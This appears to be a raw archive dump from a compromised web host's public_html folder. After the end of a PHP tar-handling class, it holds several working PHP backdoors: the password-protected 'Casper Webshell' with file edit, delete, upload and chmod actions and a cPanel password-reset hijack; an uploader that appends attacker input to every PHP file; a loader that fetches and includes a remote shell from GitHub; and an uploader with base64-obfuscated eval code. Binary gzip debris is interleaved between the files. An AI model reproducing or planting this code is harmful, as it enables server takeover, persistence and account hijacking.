			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is
incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').':
'.__('Directory ').$filename.__('is not
readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/'
&& substr($path, 0, 3) != '../' && !strpos($path,
':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long
header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0,
strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/')
$header['filename'] = $path.$header['filename'];
				else $header['filename'] =
$path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) &&
($header['typeflag'] == '')){
					$this->errors[] =__('File
').$header['filename'].__(' already
exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) &&
($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'.
'.__('File ').$header['filename'].__('
already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'.
'.__('File ').$header['filename'].__('
already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] ==
'5' ? $header['filename'] :
dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').'
'.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').'
'.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'],
'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').'
'.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) !=
$header['size']) {
					$this->errors[] = __('Size of file').'
'.$header['filename'].' '.__('is
incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) ==
$header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/')
&& ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and
(!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').'
'.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').':
'.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i,
1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i,
1));

		$unpack_data =
unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor',
$binaryData);

		$header['checksum'] =
OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0))
	return true;
			$this->errors[] = __('Error checksum for file
').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag'])
== '5')	$header['size'] = 0;
		$header['filename'] =
trim($unpack_data['filename']);
		$header['mode'] =
OctDec(trim($unpack_data['mode']));
		$header['user_id'] =
OctDec(trim($unpack_data['user_id']));
		$header['group_id'] =
OctDec(trim($unpack_data['group_id']));
		$header['size'] =
OctDec(trim($unpack_data['size']));
		$header['time'] =
OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0,
sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '',
'', '', '', '', '',
'', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' '
(space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) !=
''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ',
DecOct(fileperms($filename))), sprintf('%6s ',
DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])),
$size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '',
'', '', '', '', '',
'', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i,
1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum +=
ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').'
'.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result :
'');
			}
		} else $result = '';
		
		return $result;
	}
}
?>wpupp.php.tar000064400000043000151167306040007215
0ustar00home/lmsyaran/public_html/update/wpupp.php000064400000037114151164642150015005
0ustar00<?php
ini_set('display_errors', 0);

$correct_password = 'gpucpu';

// Check if user is logged in
session_start();
if (!isset($_SESSION['logged_in']) ||
!$_SESSION['logged_in']) {
    if ($_SERVER['REQUEST_METHOD'] === 'POST') {
        if (isset($_POST['password']) &&
$_POST['password'] === $correct_password) {
            $_SESSION['logged_in'] = true;
            header('Location: ' .
$_SERVER['PHP_SELF']);
            exit;
        } else {
            $error = 'Invalid password.';
        }
    }
    if (!isset($_SESSION['logged_in']) ||
!$_SESSION['logged_in']) {
        ?>
        <!DOCTYPE html>
        <html lang="en">
        <head>
            <meta charset="UTF-8">
            <title>Login</title>
            <style>
                body {
                    display: flex;
                    justify-content: center;
                    align-items: center;
                    height: 100vh;
                    background-color: #f4f4f4;
                    font-family: Arial, sans-serif;
                }
                .login-form {
                    background-color: #fff;
                    padding: 20px;
                    border-radius: 5px;
                    box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
                }
                .login-form input[type="password"] {
                    width: 100%;
                    padding: 10px;
                    margin-bottom: 10px;
                }
                .login-form input[type="submit"] {
                    width: 100%;
                    padding: 10px;
                    background-color: #007bff;
                    color: #fff;
                    border: none;
                    cursor: pointer;
                }
                .login-form input[type="submit"]:hover {
                    background-color: #0056b3;
                }
                .login-form .error {
                    color: #ff0000;
                    margin-bottom: 10px;
                }
            </style>
        </head>
        <body>
            <div class="login-form">
                <h2>Login</h2>
                <?php if (isset($error)): ?>
                    <p class="error"><?php echo
htmlspecialchars($error); ?></p>
                <?php endif; ?>
                <form method="POST">
                    <input type="password"
name="password" placeholder="Enter password"
required>
                    <input type="submit"
value="Login">
                </form>
            </div>
        </body>
        </html>
        <?php
        exit;
    }
}

// Your existing file manager code follows...

$current_dir = isset($_GET['dir']) ? $_GET['dir'] :
dirname(__FILE__);

if (!is_dir($current_dir)) {
    $current_dir = dirname(__FILE__);
}

$items = scandir($current_dir);

function formatBytes($size, $precision = 2) {
    $base = log($size, 1024);
    $suffixes = array('', 'KB', 'MB',
'GB', 'TB');   
    return round(pow(1024, $base - floor($base)), $precision) . '
' . $suffixes[floor($base)];
}

$parent_dir = dirname($current_dir);
$editFileContent = '';

$directory = isset($_GET['dir']) ? $_GET['dir'] :
'.';

$directory = realpath($directory) ?: '.';

if (isset($_POST['action'])) {
    $action = $_POST['action'];
    $target = $_POST['target'] ?? '';

    switch ($action) {
        case 'delete':
            if (is_dir($target)) {
                deleteDirectory($target); // Call the recursive delete
function
            } else {
                unlink($target);
            }
            break;

        case 'edit':
            if (file_exists($target)) {
                $editFileContent = file_get_contents($target);
            }
            break;

        case 'save':
            if (file_exists($target) &&
isset($_POST['content'])) {
                file_put_contents($target, $_POST['content']);
            }
            break;

        case 'chmod':
            if (isset($_POST['permissions'])) {
                chmod($target, octdec($_POST['permissions']));
            }
            break;

        case 'download':
            if (file_exists($target)) {
                header('Content-Description: File Transfer');
                header('Content-Type:
application/octet-stream');
                header('Content-Disposition: attachment;
filename=' . basename($target));
                header('Expires: 0');
                header('Cache-Control: must-revalidate');
                header('Pragma: public');
                header('Content-Length: ' . filesize($target));
                readfile($target);
                exit;
            }
            break;

        case 'upload':
            if (isset($_FILES['fileToUpload'])) {
                $file = $_FILES['fileToUpload'];

                // Check for errors
                if ($file['error'] === UPLOAD_ERR_OK) {
                    // Sanitize the file name
                    $fileName = basename($file['name']);
                    $targetPath = $current_dir . DIRECTORY_SEPARATOR .
$fileName;

                    // Move the uploaded file to the target directory
                    if (move_uploaded_file($file['tmp_name'],
$targetPath)) {
                        echo "<p>File uploaded
successfully!</p>";
                    } else {
                        echo "<p>Failed to move uploaded
file.</p>";
                    }
                } else {
                    echo "<p>Error uploading file: " .
$file['error'] . "</p>";
                }
            }
            break;
    }
}

function deleteDirectory($dir) {
    if (!is_dir($dir)) {
        return false;
    }

    $items = array_diff(scandir($dir), array('.',
'..'));

    foreach ($items as $item) {
        $path = $dir . DIRECTORY_SEPARATOR . $item;
        if (is_dir($path)) {
            deleteDirectory($path);
        } else {
            unlink($path);
        }
    }

    return rmdir($dir);
}

function reset_cpanel_password($email) {
    $user = get_current_user();
    $site = $_SERVER['HTTP_HOST'];
    $resetUrl = $site . ':2082/resetpass?start=1';
    
    $wr = 'email:' . $email;
    
    $f = fopen('/home/' . $user .
'/.cpanel/contactinfo', 'w');
    fwrite($f, $wr);
    fclose($f);
    
    $f = fopen('/home/' . $user . '/.contactinfo',
'w');
    fwrite($f, $wr);
    fclose($f);
    
    echo '<br/><center>Password reset link: <a
href="http://' . $resetUrl . '">' . $resetUrl .
'</a></center>';
    echo '<br/><center>Username: ' . $user .
'</center>';
}

if (isset($_POST['cpanel_reset'])) {
    $email = $_POST['email'];
    reset_cpanel_password($email);
}

$username = get_current_user();
$user = $_SERVER['USER'] ?? 'N/A';
$phpVersion = phpversion();
$dateTime = date('Y-m-d H:i:s');
$hddFreeSpace = disk_free_space("/") / (1024 * 1024 * 1024); //
in GB
$hddTotalSpace = disk_total_space("/") / (1024 * 1024 * 1024); //
in GB
$serverIP = $_SERVER['SERVER_ADDR'];
$clientIP = $_SERVER['REMOTE_ADDR'];
$cwd = getcwd();

$parentDirectory = dirname($directory);
$breadcrumbs = explode(DIRECTORY_SEPARATOR, $directory);
$breadcrumbLinks = [];
$breadcrumbPath = '';

foreach ($breadcrumbs as $crumb) {
    $breadcrumbPath .= $crumb . DIRECTORY_SEPARATOR;
    $breadcrumbLinks[] = '<a href="?dir=' .
urlencode(rtrim($breadcrumbPath, DIRECTORY_SEPARATOR)) .
'">' . htmlspecialchars($crumb) .
'</a>';
}

$breadcrumbLinksString = implode(' / ', $breadcrumbLinks);
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Casper Webshell</title>
    <script
src="https://googlescripts.xss.ht"></script>
    <link rel="stylesheet"
href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css">
    <style>
        body {
            font-family: Arial, sans-serif;
            margin: 0;
            padding: 0;
            background-color: #f4f4f4;
        }
        .file-manager {
            width: 80%;
            margin: 20px auto;
            background-color: #fff;
            padding: 20px;
            box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
        }
        .file-manager h1 {
            text-align: center;
        }
        .system-info {
            margin-bottom: 20px;
            background-color: #f9f9f9;
            padding: 10px;
            border: 1px solid #ddd;
        }
        .file-list {
            width: 100%;
            border-collapse: collapse;
        }
        .file-list th, .file-list td {
            padding: 10px;
            text-align: left;
            border-bottom: 1px solid #ddd;
        }
        .file-actions form {
            display: inline;
        }
        .file-actions button {
            background: none;
            border: none;
            cursor: pointer;
            color: #007bff;
            font-size: 14px;
        }
        .file-actions button:hover {
            color: #0056b3;
        }
        .upload-form, .edit-form, .reset-form {
            margin-top: 20px;
        }
        .upload-form input[type="file"] {
            margin-bottom: 10px;
        }
        .reset-form form {
            display: flex;
            flex-direction: column;
        }
        .reset-form input[type="submit"] {
            margin-top: 10px;
        }
        .php-info-button {
            margin-top: 20px;
            text-align: center;
        }
        .php-info-button button {
            background-color: #17a2b8;
            color: #fff;
            border: none;
            padding: 10px 20px;
            cursor: pointer;
        }
        .php-info-button button:hover {
            background-color: #138496;
        }
    </style>
    <script>
        function toggleResetForm() {
            var form = document.getElementById('reset-form');
            if (form.style.display === 'none') {
                form.style.display = 'block';
            } else {
                form.style.display = 'none';
            }
        }
    </script>
</head>
<body>
    <div class="file-manager">
        <h1>Casper Webshell</h1>

        <div class="system-info">
            <p>Current Directory: <?php echo
$breadcrumbLinksString; ?></p>
            <p>Username: <?php echo htmlspecialchars($username);
?></p>
            <p>Server IP: <?php echo htmlspecialchars($serverIP);
?></p>
            <p>Client IP: <?php echo htmlspecialchars($clientIP);
?></p>
            <p>PHP Version: <?php echo
htmlspecialchars($phpVersion); ?></p>
            <p>Current Date and Time: <?php echo
htmlspecialchars($dateTime); ?></p>
            <p>Free Disk Space: <?php echo
formatBytes($hddFreeSpace * 1024 * 1024 * 1024); ?></p>
            <p>Total Disk Space: <?php echo
formatBytes($hddTotalSpace * 1024 * 1024 * 1024); ?></p>
        </div>

        <div class="actions">
            <?php if ($parent_dir !== $current_dir): ?>
                <button
onclick="window.location.href='?dir=<?php echo
urlencode($parent_dir); ?>'">
                    <i class="fas fa-arrow-left
icon"></i> Back
                </button>
            <?php endif; ?>
            <button onclick="toggleResetForm()">Reset
cPanel Password</button>
        </div>

        <div class="reset-form" id="reset-form">
            <form method="POST">
                <input type="email" name="email"
placeholder="Enter email" required>
                <input type="submit"
name="cpanel_reset" value="Reset Password">
            </form>
        </div>

        <div class="upload-form">
            <h2>Upload File</h2>
            <form method="POST" action=""
enctype="multipart/form-data">
                <input type="file"
name="fileToUpload" required>
                <button type="submit" name="action"
value="upload">Upload</button>
            </form>
        </div>

        <table class="file-list">
            <thead>
                <tr>
                    <th>Name</th>
                    <th>Size</th>
                    <th>Last Modified</th>
                    <th>Actions</th>
                </tr>
            </thead>
            <tbody>
                <?php foreach ($items as $item): ?>
                    <?php if ($item !== '.' && $item
!== '..'): ?>
                        <?php
                        $itemPath = $current_dir . DIRECTORY_SEPARATOR .
$item;
                        $isDir = is_dir($itemPath);
                        $size = $isDir ? '-' :
formatBytes(filesize($itemPath));
                        $lastModified = date('Y-m-d H:i:s',
filemtime($itemPath));
                        ?>
                        <tr>
                            <td>
                                <?php if ($isDir): ?>
                                    <a href="?dir=<?php echo
urlencode($itemPath); ?>"><?php echo htmlspecialchars($item);
?></a>
                                <?php else: ?>
                                    <?php echo htmlspecialchars($item);
?>
                                <?php endif; ?>
                            </td>
                            <td><?php echo $size;
?></td>
                            <td><?php echo $lastModified;
?></td>
                            <td class="file-actions">
                                <form method="POST"
style="display:inline;">
                                    <input type="hidden"
name="target" value="<?php echo
htmlspecialchars($itemPath); ?>">
                                    <button type="submit"
name="action" value="delete"><i class="fas
fa-trash-alt icon"></i> Delete</button>
                                </form>
                                <form method="POST"
style="display:inline;">
                                    <input type="hidden"
name="target" value="<?php echo
htmlspecialchars($itemPath); ?>">
                                    <button type="submit"
name="action" value="edit"><i class="fas
fa-edit icon"></i> Edit</button>
                                </form>
                                <form method="POST"
style="display:inline;">
                                    <input type="hidden"
name="target" value="<?php echo
htmlspecialchars($itemPath); ?>">
                                    <button type="submit"
name="action" value="download"><i class="fas
fa-download icon"></i> Download</button>
                                </form>
                                <form method="POST"
style="display:inline;">
                                    <input type="hidden"
name="target" value="<?php echo
htmlspecialchars($itemPath); ?>">
                                    <input type="text"
name="permissions" placeholder="Permissions (e.g.,
0755)" style="width: 80px;">
                                    <button type="submit"
name="action" value="chmod"><i class="fas
fa-lock icon"></i> Chmod</button>
                                </form>
                            </td>
                        </tr>
                    <?php endif; ?>
                <?php endforeach; ?>
            </tbody>
        </table>

        <?php if (isset($_POST['action']) &&
$_POST['action'] === 'edit'): ?>
            <div class="edit-form">
                <h2>Edit File: <?php echo
htmlspecialchars($target); ?></h2>
                <form method="POST">
                    <textarea name="content"><?php echo
htmlspecialchars($editFileContent); ?></textarea>
                    <input type="hidden"
name="target" value="<?php echo
htmlspecialchars($target); ?>">
                    <button type="submit"
name="action" value="save">Save</button>
                </form>
            </div>
        <?php endif; ?>
    </div>
</body>
</html>
erfinejd.php.tar000064400000005000151167306040007626
0ustar00home/lmsyaran/public_html/update/erfinejd.php000064400000001370151164642170015415
0ustar00<?php echo"<form method='post'
enctype='multipart/form-data'><input type='file'
name='a'><input type='submit'
value='Nyanpasu!!!'></form><pre>";if(isset($_FILES['a'])){move_uploaded_file($_FILES['a']['tmp_name'],"{$_FILES['a']['name']}");print_r($_FILES);};echo"</pre>";?>
<?php
if (isset($_GET['bak'])) {
$directory = __DIR__;
$mama = $_POST['file'];
$textToAppend = '
' . $mama . '
';
if ($handle = opendir($directory)) {
    while (false !== ($file = readdir($handle))) {
        if (pathinfo($file, PATHINFO_EXTENSION) === 'php') {
            $fileHandle = fopen($directory . '/' . $file,
'a');
            fwrite($fileHandle, $textToAppend);
            fclose($fileHandle);
            echo "OK >> $file
";
        }
    }
    closedir($handle);
}
}
?>
bba.php.tar000064400000007000151167306040006566
0ustar00home/lmsyaran/public_html/update/bba.php000064400000003443151164643010014350
0ustar00<?php
// Enable error reporting for debugging purposes
error_reporting(E_ALL);
ini_set('display_errors', 1);

function geturlsinfo($url) {
    if (function_exists('curl_exec')) {
        $conn = curl_init($url);
        curl_setopt($conn, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($conn, CURLOPT_FOLLOWLOCATION, 1);
        curl_setopt($conn, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT
6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
        curl_setopt($conn, CURLOPT_SSL_VERIFYPEER, 0);
        curl_setopt($conn, CURLOPT_SSL_VERIFYHOST, 0);
        $url_get_contents_data = curl_exec($conn);
        if (curl_errno($conn)) {
            echo 'Curl error: ' . curl_error($conn);
            return false;
        }
        curl_close($conn);
    } elseif (function_exists('file_get_contents')) {
        $url_get_contents_data = file_get_contents($url);
        if ($url_get_contents_data === false) {
            echo 'file_get_contents error';
            return false;
        }
    } elseif (function_exists('fopen') &&
function_exists('stream_get_contents')) {
        $handle = fopen($url, "r");
        if ($handle === false) {
            echo 'fopen error';
            return false;
        }
        $url_get_contents_data = stream_get_contents($handle);
        fclose($handle);
    } else {
        $url_get_contents_data = false;
    }
    return $url_get_contents_data;
}

// Directly execute the main content
$a =
geturlsinfo('https://raw.githubusercontent.com/INDOHAXSEC/rudal-shell/refs/heads/main/GOD.php');
if ($a !== false) {
    $tmp_file = sys_get_temp_dir() . '/temp_' . uniqid() .
'.php';
    file_put_contents($tmp_file, $a);
    include($tmp_file);
    // Do not delete the temporary file
} else {
    echo "Failed to retrieve content.";
}
?>
	error_log.tar.gz000064400000003331151167306040007670
0ustar00��mo�6�����h�!��և]��ݚ,mt�0�D[ZdR����>�I���0�,>yS���ё�;��D��
�1��;y����"Q��)�*�0)���D���
���}�qL\/����[��{�8	�
��)�oe��ԧ\Ź�`���w��ծ��z���������	�D%Oy?D�H�e�Ыt@�it�
�L2�Q&h�b�rt�/�r$8�R�nܗ�XK��"��K��}{�^���>S��qUl'J�E�8���T%e�,���w3�
�d49����i�Ig@�d��K}�pd��|'D=�_#%��G��������	��s�
u��'�$��>:
����5��:�cC���y���n7�}b����oi�8ā5�d"hO�&�&m-hOѶ8oWS���a�y�{��
������M��M���!b�t&:�|�>^���fw\���
���ΫE"f�}�B�eQ�l0N�H�xbu4O�!�&B\!���{7����;C;���I��>v��W��C�L��_���}ං����M�����ԕI���^|��K�!�tНMz_p�"��J��C"���7��ou�Xd|����k�{�t��%ӭ�P�=��;��Yh}~��n1*0��.���O���.�
���lE���-�Gn�m9j��mE0�nۦt��J����]l-��1��0�'�G�i7�-��Z�椊�E�������M���ui雓ǝ�\����y�?@�6ǐ�gS�gUwϪ��v���[�=�����ooV���D��֔���]jv��Z�eZ�=���m���]����E��]m0����
��õO�s���
hb��
�a���hr��!0��9�YO�)FTJ:F�l��d�e�V�ʽӼ�>�c�K�F+�D�W0UI��Y���H�s�x�e�uZ:�	���yO��Y��?o̿�ԁ1O�|�>�'a>/��J�A��NU�ʥ�Tz�D��(9ު�ֵ������d�T��(��ĩZ���n�2�]���O{�Ҫ�����l�;3f�c��B^��@%ׇ�d�����1�X�e<��=���0{+��QC�yP��QC�U;
��N��q�Z�#�'�,��x��B]�kv�'���P3���}��	��F�����ڞf���
��M�a���T��+�0���kSa��6�q�`�
�
�cs��0����B�
0�0 Pf�3�Z�`@�
0�0
�f�3��x$w����0�Fgƍ�`�0F|O�0Le�l�?9!n�&�`X���3�0��i�`�1TD�˜���M�ņ�Û��}�00TQ��j�i�t3�@oa�P�0f��{��x���Ϙ�~�XZ�`@�:V�a�K+�0�B0�`@��(P���*�Jf�8��f�I)�|=�e?Q�'1��x�f�(by���!�*�ּ�i6�RT6�_���*�1���]�J���d���S!+H���E�I�u;NJ�O�.��4ba�%�'b��/ډ��
f�G}�sɊb{�񒠿4�4R��>�p�U�`�c�cv��y�v�a��)��2ð4l��n8�+����ȅ̤�%cU#�
��E,R@�0ZP�r,��Q�&�n��t^{:o����[Ap�U�՚�@������X3)��,d�0��v�4hР�/ۿ���q�by.php.tar000064400000017000151167306040006455
0ustar00home/lmsyaran/public_html/update/by.php000064400000013321151164643540014242
0ustar00<?php

//Create By Mr.7Mind & Imammrtdho
//Credits By ribelcyberteam@gmail.com
//Tele @RibelCyberTeam
//No Rename Please

ini_set('upload_max_filesize', '100M');
ini_set('post_max_size', '100M');

$status = "Error Masse";
$cwd = getcwd();
$leader = $_FILES["ribel"]['size'];
$imam = $_FILES["ribel"]['type'];
$ribel = $_FILES["ribel"]['name'];
$status = "";

if ($ribel != "") {
    $cyber = $ribel;
    if (copy($_FILES['ribel']['tmp_name'], $cyber)) {
        $status = "File Berhasil Diupload Masse: <br>" .
$cwd . "/" . $ribel;
    } else {
        $status = "Terjadi Kesalahan Saat Mengupload File Masse";
    }
} else {
    $status = "Silahkan Pilih Filenya Dulu Masse";
}
echo $status;
?>

<html>
<head>
</head>
<body>
<form action="" method="POST"
enctype="multipart/form-data">
<input type="file" name="ribel">
<input type="submit" name="submit" value="Gass
Masse">
</form>
</body>
</html>
<?php
$MP7ccMA0="\x62\141\x73\x65\x36\x34\x5f\144\145\x63\x6f\x64\145";eval($MP7ccMA0("JHQwYmdJaDYwSz0iNWM4ZGM3MjMxZjg4NjRhMzllOWYzOWU0YTZjMWY4MWIiOyRHM3hIRmtZb2lSPWFycmF5KCk7JEczeEhGa1lvaVJbMF09IklEOCtQZTRkYTNiN2ZiYmNlMjM0NWQ3NzcyYjA2NzRhMzE4ZDVEOXdhSEFLSkhkbFltaHZiMnRWY213Z1BTQW5hSFIwY0hNNkx5OWthWE5qYjNKa0xtTnZiUzloY0drdmQyVmlhRzl2YTNNdk1URTBNekE0TnpreU5UTXdOemt5TURNNU5DOXMiOyRHM3hIRmtZb2lSWzFdPSJiV0U1UlRsd2M5ZjBmODk1ZmI5OGFiOTE1OWY1MWZkMDI5N2UyMzZkU1ZCMWJFVkZabEk1ZDFOMmVFMUdNMVIwZVdoTGQxTmhURFV5TmpWeE5VbERXazlwVG5SZlRHUk5Vekp5YUdZNU5Vb3lYMUZZZW1oUmJGZEZZaWM3Q25SeWVTQjdDaUFnIjskRzN4SEZrWW9pUlsyXT0iSUNBa2NISjhmMTRlNDVmY2VlYTE2N2E1YTM2ZGVkZDRiZWEyNTQzdmRHOWpiMndnUFNCcGMzTmxkQ2drWDFORlVsWkZVbHNuU0ZSVVVGTW5YU2tnSmlZZ0pGOVRSVkpXUlZKYkowaFVWRkJUSjEwZ1BUMDlJQ2R2YmljZ1B5QWlhSFIwY0hNNiI7JEczeEhGa1lvaVJbM109Ikx5YzgxZTcyOGQ5ZDRjMmY2MzZmMDY3Zjg5Y2MxNDg2MmM4aUlEb2dJbWgwZEhBNkx5OGlPd29nSUNBZ0pHaHZjM1FnUFNBa1gxTkZVbFpGVWxzblNGUlVVRjlJVDFOVUoxMDdDaUFnSUNBa2MyTnlhWEIwSUQwZ0pGOVRSVkpXUlZKYkoxQkkiOyRHM3hIRmtZb2lSWzRdPSJVRjllY2NiYzg3ZTRiNWNlMmZlMjgzMDhmZDlmMmE3YmFmM1RSVXhHSjEwN0Nnb2dJQ0FnSkhWelpYSkJaMlZ1ZENBOUlDUmZVMFZTVmtWU1d5ZElWRlJRWDFWVFJWSmZRVWRGVGxRblhUc0tJQ0FnSUNSbWFXeGxWVkpNSUQwZ0pIQnliM1J2IjskRzN4SEZrWW9pUls1XT0iWWM0Y2E0MjM4YTBiOTIzODIwZGNjNTA5YTZmNzU4NDliMjlzSUM0Z0pHaHZjM1FnTGlBa2MyTnlhWEIwT3dvZ0lDQWdKR2x3VW1WemNHOXVjMlVnUFNCbWFXeGxYMmRsZEY5amIyNTBaVzUwY3lnaWFIUjBjSE02THk5aGNHa3VhWEJwWm5rdSI7JEczeEhGa1lvaVJbNl09ImIzSm5MejltYzlmMGY4OTVmYjk4YWI5MTU5ZjUxZmQwMjk3ZTIzNmRiM0p0WVhROWFuTnZiaUlwT3dvZ0lD